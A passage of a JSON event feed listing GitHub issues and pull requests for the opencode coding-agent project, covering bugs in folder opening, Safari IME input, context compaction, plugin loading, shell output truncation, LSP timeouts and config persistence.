          "text": "### Description When opening a folder with the same name from different project directories in the OpenCode desktop app, the app incorrectly navigates to the previously opened project instead of opening the newly selected folder. ### Plugins _No response_ ### OpenCode version v1.18.17 ### Steps to reproduce Create two projects with the same folder name structure: ProjectA/src/components ProjectB/src/components Open ProjectA/src/components in OpenCode desktop. Close or switch away from that folder. Attempt to open ProjectB/src/components (the folder with the same name but under a different parent project). ### Screenshot and/or share link _No response_ ### Operating System Windows11 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42284",
          "createdAt": "2026-08-13T08:51:46Z",
          "updatedAt": "2026-08-13T08:53:13Z",
          "timestamp": "2026-08-13T08:53:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "ly12300",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:50f3e035109cfeee27a8",
        "signalId": "github:anomalyco/opencode:issue:42040",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42040",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Unable to open certain projects",
          "text": "### Description I have a project lets say its called `projects/foo` and i have `projects/foo2` now opening `foo` or `foo2` will always open `foo` and there is seemingly no way to open the `foo2` project. ### Plugins none ### OpenCode version v1.16.2 ### Steps to reproduce create 2 project folders, `foo` `foo2` copy content from `foo` to `foo2` open `foo` in opencode open `foo2` in opencode --> notice `foo2` also opened `foo` ### Screenshot and/or share link _No response_ ### Operating System Linux Fedora 44 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42040",
          "createdAt": "2026-08-12T14:36:32Z",
          "updatedAt": "2026-08-13T08:50:13Z",
          "timestamp": "2026-08-13T08:50:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "jwverzijden",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:76f49fe70c5218a74ddd",
        "signalId": "github:anomalyco/opencode:pull_request:38728",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38728",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: keep prompt input inert during Safari IME composition",
          "text": "### Issue for this PR Closes #38674 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In Safari, typing CJK text in the web app prompt input misbehaves in two ways: the IME composition gets aborted mid-input, and the Enter that confirms a candidate submits the message with the raw pinyin still in it. Two causes, fixed in order: 1. Safari fires `compositionend` *before* the confirming Enter keydown, so that keydown reports `isComposing=false`. The first commits add a guard that treats any key event within 100ms of `compositionend` (tracked with `performance.now()`) as part of the IME confirmation, in both the v1 (`packages/app`) and v2 (`packages/session-ui`) editors. 2. That guard alone was not enough on a production deployment: the v2 editor still ran `dispatch`/`setState` on every keydown and read/wrote the selection on keyup/pointerup while composing. Safari reacts by aborting the composition after every letter, so `nihao` becomes five one-letter compositions and the final Enter arrives as a plain `keyCode=13` long after any `compositionend` — nothing left for the guard to recognize. The last commit makes the v2 editor completely inert while a composition is active (and during the 100ms window after it): no keydown dispatch, no cursor sync, no input handling, no editor DOM rewrites. State is reconciled once from the DOM on `compositionend`. With the editor inert, Safari keeps the composition as a single segment, the confirming Enter reports `keyCode=229`, and the existing guard catches it. Note: Enter committing the raw romaji (instead of 你好) is macOS Pinyin design — Space selects the candidate. The bug was that the app submitted the message on that Enter. **Follow-up in the last two commits — the placeholder overlapping the pre-edit text.** This one predates the fixes above and has no separate issue. The placeholder visibility is derived from the prompt *state* (`!controller.value()` in v2, `prompt.dirty()` in v1), but input events are deliberately ignored while a composition is in flight — that is exactly what the fixes above rely on. So during composition the editor shows `nihao` while the state is still empty, and `Ask anything, / for commands, @ for context...` keeps rendering underneath it until the text is committed. Both editors now track the editor's own `textContent` across `compositionstart` / `compositionupdate` / `input` / `compositionend` and hide the placeholder while it is non-empty. Only `textContent` is read — no DOM or selection mutation — so the composition stays intact. ### How did you verify your code works? - Real-device Safari 26 on macOS with macOS Pinyin and Japanese IMEs, against an instrumented build logging every composition/key event: `nihao` + Enter no longer submits and the text stays in the box, `nihao` + Space commits 你好, Japanese live conversion with multi-segment auto-commit is not interrupted, and plain-English Enter / Shift+Enter behavior is unchanged. Chrome regression-tested with the same IMEs. - Placeholder fix verified on a local dev build in Safari with Chinese and Japanese input: the placeholder disappears as soon as pre-edit text appears and comes back if the composition is cancelled. - `bun test` in `packages/session-ui` (78 pass) and `packages/app` (110 pass), plus `bun turbo typecheck` across the affected packages. ### Screenshots / recordings No visual change outside the prompt placeholder, which now hides as soon as IME pre-edit text appears instead of rendering underneath it. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR 🤖 Generated with [Claude Code](https://claude.com/claude-code)",
          "url": "https://github.com/anomalyco/opencode/pull/38728",
          "createdAt": "2026-07-24T17:19:02Z",
          "updatedAt": "2026-08-13T08:47:29Z",
          "timestamp": "2026-08-13T08:47:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "powoct",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f736330b051cfd5fbf13",
        "signalId": "github:anomalyco/opencode:issue:42282",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42282",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Failed compaction silently drops pre-tail history from the model context",
          "text": "### Description When a compaction summary turn fails with a provider error, everything before the compaction boundary is dropped from the model context and no summary replaces it. The messages stay in the database, so the UI looks fine — the model just stops knowing about the earlier turns, and it repeats on every following turn because the marker is already persisted. Two things combine: 1. `processCompaction` persists `tail_start_id` on the compaction part even when the summary turn failed. The early return only covers `result === \"compact\"` (`packages/opencode/src/session/compaction.ts:450-466`); a provider error returns `\"stop\"` and falls straight through to the write. 2. `filterCompacted` uses two different tests for \"this compaction is complete\". The truncation loop requires `summary && finish && !error` (`message-v2.ts:541-542`), but the reordering branch below it only checks `summary` (`message-v2.ts:554-562`). That branch returns `[compaction..summary] + [tail..compaction] + [after summary]`, so everything before `tail_start_id` is dropped. With a failed summary there is nothing to replace it, and the errored assistant message is itself dropped by `toModelMessagesEffect`. So the loop says \"not complete, keep all history\" while the reorder says \"complete, drop everything before the tail\". The result is neither the summary nor the history. This is the `specs/v2/session.md` rule (\"A failed or interrupted attempt therefore leaves the previous history boundary active\") not holding in v1. Not #30806 (dangling partial summary on abort, closed) or #24700 / #24781 (fork not remapping `tail_start_id`). #42063 is adjacent but complementary — it rejects *empty* summaries, and its guard is `result === \"continue\" && !processor.message.error`, so the errored path here never reaches it. Disclosure: found and reproduced with AI assistance; I reviewed and verified every claim locally. ### Plugins _No response_ ### OpenCode version dev @ cc4b456 (v1.18.18) ### Steps to reproduce Happens whenever the summary request fails in a non-retryable way — expired key, exhausted credits, model unavailable, content filter — which is likely exactly when the context is largest. Reproduced end to end against the real `SessionCompaction.process` with persistence: three turns, then an auto-compaction whose summary request returns 401. Before: `process()` returns `stop`, the summary message carries the API error with no `finish`, but `tail_start_id` is still written. The next turn sees 3 of 5 stored messages — the first two topics are gone. After adding `finish` / `!error` to the reordering test, the next turn sees all 5. ### Screenshot and/or share link _No response_ ### Operating System macOS 15 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42282",
          "createdAt": "2026-08-13T08:44:24Z",
          "updatedAt": "2026-08-13T08:45:37Z",
          "timestamp": "2026-08-13T08:45:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4bbc4ce1a6805e12034c",
        "signalId": "github:anomalyco/opencode:pull_request:42283",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42283",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): ignore failed compaction summaries when reordering",
          "text": "### Issue for this PR Closes #42282 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `filterCompacted` decides \"this compaction is complete\" twice, with two different tests. The truncation loop requires `summary && finish && !error`; the reordering branch underneath only checks `summary`. A compaction whose summary turn failed lands between them: the loop keeps the full history, then the reorder returns `[compaction..summary] + [tail..compaction] + [after summary]` and drops everything before `tail_start_id`. Since the summary failed there is nothing to replace that history, and the errored assistant message is dropped by `toModelMessagesEffect` anyway. `tail_start_id` is persisted even on failure, so the loss repeats every turn. This makes the reordering branch use the same test as the loop. Successful compactions are unaffected — the reorder still fires, this only stops it firing on a summary the loop already considers incomplete. Only the guard is changed. Tightening the `tail_start_id` write in `compaction.ts` would stop new sessions from getting into this state, but sessions that already have the marker persisted still need this guard to recover, so it seemed like the right single place to fix. ### How did you verify your code works? Added `keeps history before tail_start_id when the summary failed` directly beside the existing success-path test `retains original tail when compaction stores tail_start_id`, reusing the same `addUser` / `addAssistant` / `addCompactionPart` helpers with an errored summary instead of a finished one. - On `dev` it fails: expected all 8 messages, received 6 — the first turn's user and assistant messages are missing and the compaction pair is hoisted to the front - With the fix it passes and history stays chronological From `packages/opencode`: - `bun test test/session/messages-pagination.test.ts` — 52 pass, 0 fail - `bun test test/session/message-v2.test.ts` — 39 pass, 0 fail - `bun test test/session/compaction.test.ts` — 54 pass, 1 skip, 0 fail - `bun test test/session/prompt.test.ts` — 57 pass, 1 skip, 0 fail - `bun test test/session/revert-compact.test.ts` — 8 pass, 0 fail - `bun test test/session/snapshot-tool-race.test.ts` — 1 pass, 0 fail - `bun typecheck`, and the pre-push `bun turbo typecheck` — 30/30 packages - Prettier clean; `oxlint` warning count unchanged from baseline on both files I also drove the whole path end to end against the real `SessionCompaction.process` with persistence — three turns, then an auto-compaction whose summary request returns a non-retryable 401 — and confirmed the next turn sees 3 of 5 messages before the change and all 5 after. That one is slow and provider-shaped so I left it out of the suite; happy to add it if you'd like it committed. Did not run the rest of `packages/opencode`. ### Screenshots / recordings N/A — not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR Disclosure: found and fixed with AI assistance; I reviewed and verified every claim locally.",
          "url": "https://github.com/anomalyco/opencode/pull/42283",
          "createdAt": "2026-08-13T08:44:44Z",
          "updatedAt": "2026-08-13T08:44:44Z",
          "timestamp": "2026-08-13T08:44:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7e0df63c042d4a36acf1",
        "signalId": "github:anomalyco/opencode:pull_request:42281",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42281",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): apply external plugin changes after startup batch commits",
          "text": "### Issue for this PR Closes #42280 ### Type of change - [x] Bug fix ### What does this PR do? `ConfigExternalPlugin` loads plugins in a `forkScoped` fiber, which inherits the ambient `State` batch. Startup wraps loading in `State.batch(...)`, so once the startup effect returns, the batch is drained and gone — but the async plugin load finishes later, and its `transform()` calls enqueue their reloads into that dead set. The plugin's agents/tools/skills never materialize, with no error. The fix adds `State.unbatched(effect)`, which clears the inherited `CurrentBatch` so transforms reload immediately, and wraps the forked loader in it. Also replaces the silent `Effect.ignoreCause` with discovery/load/error logs so a failing plugin is visible instead of vanishing. ### How did you verify your code works? Added a regression test in `packages/core/test/config/plugin.test.ts` that wraps the plugin effect in `State.batch`, matching the real startup path. It times out waiting for the plugin-registered agent without the fix and passes with it. `bun test test/config/ test/plugin/` (281 tests) and `bun typecheck` pass in `packages/core`. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR (Recreated from #42245, which was auto-closed by the compliance check before the description was updated.)",
          "url": "https://github.com/anomalyco/opencode/pull/42281",
          "createdAt": "2026-08-13T08:38:45Z",
          "updatedAt": "2026-08-13T08:38:45Z",
          "timestamp": "2026-08-13T08:38:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "To-Term",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:75f084b8413515bcb360",
        "signalId": "github:anomalyco/opencode:pull_request:42245",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42245",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): apply external plugin changes after startup batch commits",
          "text": "### Issue for this PR Closes #42280 ### Type of change - [x] Bug fix ### What does this PR do? `ConfigExternalPlugin` loads plugins in a `forkScoped` fiber, which inherits the ambient `State` batch. Startup wraps loading in `State.batch(...)`, so once the startup effect returns, the batch is drained and gone — but the async plugin load finishes later, and its `transform()` calls enqueue their reloads into that dead set. The plugin's agents/tools/skills never materialize, with no error. The fix adds `State.unbatched(effect)`, which clears the inherited `CurrentBatch` so transforms reload immediately, and wraps the forked loader in it. Also replaces the silent `Effect.ignoreCause` with discovery/load/error logs so a failing plugin is visible instead of vanishing. ### How did you verify your code works? Added a regression test in `packages/core/test/config/plugin.test.ts` that wraps the plugin effect in `State.batch`, matching the real startup path. It times out waiting for the plugin-registered agent without the fix and passes with it. `bun test test/config/ test/plugin/` (281 tests) and `bun typecheck` pass in `packages/core`. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42245",
          "createdAt": "2026-08-13T05:46:02Z",
          "updatedAt": "2026-08-13T08:37:28Z",
          "timestamp": "2026-08-13T08:37:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "To-Term",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7835540aa7eda93bb2d4",
        "signalId": "github:anomalyco/opencode:issue:42280",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42280",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "V2 external plugins silently fail to register agents/tools after startup",
          "text": "### Description External v2 plugins (configured via `plugin` in opencode.json, or scanned from config directories) are loaded by `ConfigExternalPlugin` in a forked fiber. That fiber inherits the ambient `State` batch from location startup, which runs inside `State.batch(...)` and drains its reload set as soon as the startup effect returns. By the time an async plugin load finishes (dynamic import, npm install), the batch has long committed, so the plugin's `transform()` calls enqueue their reload into a set nobody ever drains. The plugin appears to load without error, but the agents/tools/skills/commands it registers never materialize. ### Plugins Any v2 effect/promise plugin, e.g. a local file plugin that registers an agent via `ctx.agent.transform` ### OpenCode version dev branch (v1.18.18) ### Steps to reproduce 1. Write a v2 effect plugin that registers an agent, e.g. `export default define({ id: \"demo\", effect: (ctx) => ctx.agent.transform((agents) => { agents.update(\"demo\", (a) => { a.mode = \"subagent\" }) }).pipe(Effect.asVoid) })` 2. Reference it from the `plugin` array in opencode.json 3. Start opencode and list agents — `demo` never appears, and nothing is logged ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42280",
          "createdAt": "2026-08-13T08:36:01Z",
          "updatedAt": "2026-08-13T08:37:13Z",
          "timestamp": "2026-08-13T08:37:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "To-Term",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9b8213cf9e4aa5e9124a",
        "signalId": "github:anomalyco/opencode:pull_request:42278",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42278",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): keep shell tail when oversized line ends with newline",
          "text": "### Issue for this PR Closes #42277 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `tail()` walks the output lines backwards and, when even the last line on its own exceeds `max_bytes`, byte-slices that line so the model still gets a tail. The fallback is guarded by `out.length === 0`. For output ending in a newline, `split(\"\\n\")` produces a trailing empty sentinel that gets unshifted into `out` first — it costs 0 bytes, but it makes the guard false, so the fallback never runs and `tail()` returns an empty string. The model then receives the \"output truncated\" banner followed by `(no output)`. The guard now checks `bytes === 0`, which is what it meant to express (\"nothing emitted yet\"), since the sentinel contributes no bytes. Multi-line output is unaffected — it never reached the fallback. The branch was unreachable for newline-terminated output before, so this only turns dead code back on. ### How did you verify your code works? Added `keeps a tail when the oversized line ends with a newline` beside the existing byte-limit test, reusing the same `fill()` generator with a trailing newline. - On `dev` it fails: `Expected to not contain: \"(no output)\"`, received the banner plus `(no output)` - With the fix it passes and the body carries the last 50 KB - `bun test test/tool/` from `packages/opencode`: 339 pass, 0 fail - `bun typecheck` from `packages/opencode`, and the pre-push `bun turbo typecheck`: 30/30 packages ### Screenshots / recordings N/A — not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR Disclosure: found and fixed with AI assistance; I reviewed and verified every claim locally.",
          "url": "https://github.com/anomalyco/opencode/pull/42278",
          "createdAt": "2026-08-13T08:33:37Z",
          "updatedAt": "2026-08-13T08:33:37Z",
          "timestamp": "2026-08-13T08:33:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4b537a18f0585265f7d2",
        "signalId": "github:anomalyco/opencode:issue:42277",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42277",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "shell tool returns \"(no output)\" when a single line exceeds the byte limit",
          "text": "### Description When a command prints a single line larger than `tool_output.max_bytes` (default 50 KB) and the output ends with a newline, the shell tool hands the model a truncation banner followed by `(no output)` — the whole body is dropped. The same content without the trailing newline returns the expected 50 KB tail. Cause: `tail()` in `packages/opencode/src/tool/shell.ts:236-250` walks the lines backwards and byte-slices the last line when nothing else fits, guarded by `out.length === 0`. `split(\"\\n\")` appends an empty sentinel for the trailing newline; the sentinel costs 0 bytes but is unshifted into `out` first, so that guard is never true for output ending in a newline and the byte-slice fallback is unreachable. `bytes === 0` is the check that was intended. The existing `truncates output exceeding byte limit` test misses it because its generator writes the bytes without a trailing newline and only asserts the banner, not the body. Not #40728 (that one is about the spill file on disk — the spill file is complete here), and not #36795 / #35511 (intermittent capture races — this is deterministic). Disclosure: found and reproduced with AI assistance; I reviewed and verified every claim locally. ### Plugins _No response_ ### OpenCode version dev @ cc4b456 (v1.18.18) ### Steps to reproduce 1. Make a file that is one 80 KB line ending with a newline: ``` bun -e 'Bun.write(\"big.txt\",\"a\".repeat(80000)+\"\\n\")' ``` 2. Ask the agent to run `cat big.txt`. Expected: the last 50 KB of the line. Actual, 191 characters in total: ``` ...output truncated... Full output saved to: /…/tool-output/tool_xxx (no output) ``` Commands that hit this in practice: `cat` on a minified bundle or a single-line JSON/lockfile, `curl`, `jq -c`, `base64`, `docker inspect`. ### Screenshot and/or share link _No response_ ### Operating System macOS 15 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42277",
          "createdAt": "2026-08-13T08:30:30Z",
          "updatedAt": "2026-08-13T08:31:34Z",
          "timestamp": "2026-08-13T08:31:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:fa2871da754fa76f7822",
        "signalId": "github:anomalyco/opencode:pull_request:41219",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41219",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(lsp): allow per-server diagnostics wait timeouts",
          "text": "### Issue for this PR Closes #41218 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `DIAGNOSTICS_DOCUMENT_WAIT_TIMEOUT_MS` (5s) and `DIAGNOSTICS_FULL_WAIT_TIMEOUT_MS` (10s) in `lsp/client.ts` are hardcoded. If a language server takes longer than that to produce diagnostics, the wait expires and the client returns nothing — which callers cannot distinguish from \"the file is clean\". That's the bug: silence and success look identical. I hit this with clangd on an Unreal Engine project. One translation unit pulls in ~3,764 transitive headers and clangd needs about 20s to parse it, so the wait always expired and `debug lsp diagnostics` returned only the `.clangd` config file, never the file I asked about. It was not a misconfiguration — the same file compiles cleanly with `clang++ -fsyntax-only` using the flags from `compile_commands.json`, and a deliberately broken copy reports its error correctly. This adds an optional per-server `timeout: { document, full }`, falling back to the existing constants when unset: ```jsonc \"lsp\": { \"clangd\": { \"command\": [\"clangd\", \"--compile-commands-dir=...\"], \"timeout\": { \"document\": 60000, \"full\": 120000 } } } ``` Why it works: `create()` in `client.ts` already receives `input.server`, and `spawn()` in `lsp.ts` already builds that object from the user's config, so the value just needs carrying through and reading at the six places the two constants are used. One thing worth flagging for anyone adding LSP config fields later: the field has to be declared in **both** `config/lsp.ts` and `v1/config/lsp.ts`. A v1 config is decoded against v1's `Entry` before `migrate.ts` passes `lsp` through untouched, so a field present only in v2 gets silently stripped and never reaches the client. I patched only v2 first and the option appeared to do nothing. Five files, +35/-6. I deliberately left `DIAGNOSTICS_REQUEST_TIMEOUT_MS` and `INITIALIZE_TIMEOUT_MS` alone — the latter is #23982 and belongs in its own change. ### How did you verify your code works? Ran the same command against the same file and the same clangd, changing only the config. Before, and after with no `timeout` set (confirming defaults are unchanged): ``` $ opencode debug lsp diagnostics .../HGGameUserSettings.cpp { \"/work/ascent/UE/.clangd\": [] } ``` ~11s, requested file absent entirely. After, with `timeout` configured, on a file containing a deliberate error: ``` zz_check.cpp: 2 diagnostics, 1 error Use of undeclared identifier 'this_symbol_does_not_exist' ``` ~13s. Also checked in a real session that the automatic post-edit path works: writing a broken `.cpp` now attaches `Error [3:13] Use of undeclared identifier 'this_symbol_does_not_exist'` to the write tool result, where before it attached nothing. `bun typecheck` passes (30/30 packages) — the pre-push hook ran it. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41219",
          "createdAt": "2026-08-08T06:08:48Z",
          "updatedAt": "2026-08-13T08:30:54Z",
          "timestamp": "2026-08-13T08:30:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Yagi-Michael",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:98478b8504907bd21466",
        "signalId": "github:anomalyco/opencode:pull_request:42257",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42257",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): persist Config.update to the loaded config file",
          "text": "### Issue for this PR Fixes #42276 and #28966 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The SDK's `client.config.update` (PATCH `/config`) returned 200 but the mutation was silently lost: a follow-up GET returned the original config and the file on disk was untouched. Updates were written to `config.json`, a legacy filename the config loader ignores, so they vanished when the instance was disposed and reloaded after the PATCH. After this change: - The update persists to the project config file the loader reads last (existing `opencode.json` / `opencode.jsonc` or `.opencode/` overlay), merged with existing content - A follow-up GET reflects the change - Home (`~/.opencode`), global, and managed configs won't be written ### How did you verify your code works? - Tests covering: - plain `opencode.json` / `opencode.jsonc` targets - `.opencode/` overlay preference - worktree-level precedence - token preservation - reload persistence - end-to-end HTTP tests through the real server app - Built the server binary and tested with a real SDK client ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42257",
          "createdAt": "2026-08-13T06:32:38Z",
          "updatedAt": "2026-08-13T08:25:49Z",
          "timestamp": "2026-08-13T08:25:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "mdrkrg",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:78d0f2285dc031e14e6e",
        "signalId": "github:anomalyco/opencode:pull_request:41553",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41553",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(desktop): proactive RAM memory management",
          "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds proactive RAM management to the desktop Electron app. A monitor polls `app.getAppMetrics()` every 30s and runs GC (main process, sidecar, renderers) when the peak working set crosses 1.8 GiB. `--expose-gc` is set on the main process (`js-flags`) and sidecar (`execArgv`). The sidecar auto-restarts on OOM up to 3 times; renderers that crash with `oom` reload once and show a recovery toast, with a second crash falling back to the existing dialog. Pure threshold logic lives in `memory-threshold.ts` (no Electron imports) so it is unit-testable. ### How did you verify your code works? - `tsgo -b` clean for `packages/desktop` and `packages/app`. - `bun test src/main/memory.test.ts` -> 6 pass / 0 fail. - oxlint (type-aware): 0 errors on all changed files. ### Screenshots / recordings Not a visible UI change (only a transient recovery toast on OOM). ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _Note: created by an AI agent (OpenHands) on behalf of the user._",
          "url": "https://github.com/anomalyco/opencode/pull/41553",
          "createdAt": "2026-08-10T13:59:19Z",
          "updatedAt": "2026-08-13T08:24:27Z",
          "timestamp": "2026-08-13T08:24:27Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "mo-dev-studio-eg",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:59190d29743ab5b06c63",
        "signalId": "github:anomalyco/opencode:pull_request:41555",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41555",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(app): add Run button to titlebar for project startup commands",
          "text": "### Issue for this PR ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a Run button to the titlebar that executes the project startup command. The button appears only when a project has a startup command configured in its settings. ### How did you verify your code works? Reviewed the implementation for correct SDK API usage and consistent styling with existing buttons. ### Screenshots / recordings Not applicable — unable to upload screenshots or recordings at this time. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41555",
          "createdAt": "2026-08-10T14:10:51Z",
          "updatedAt": "2026-08-13T08:23:58Z",
          "timestamp": "2026-08-13T08:23:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "mo-dev-studio-eg",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2ad8e03159cf313ff3da",
        "signalId": "github:anomalyco/opencode:issue:42276",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42276",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Config.update() writes runtime local config to ignored project-root config.json (re-open)",
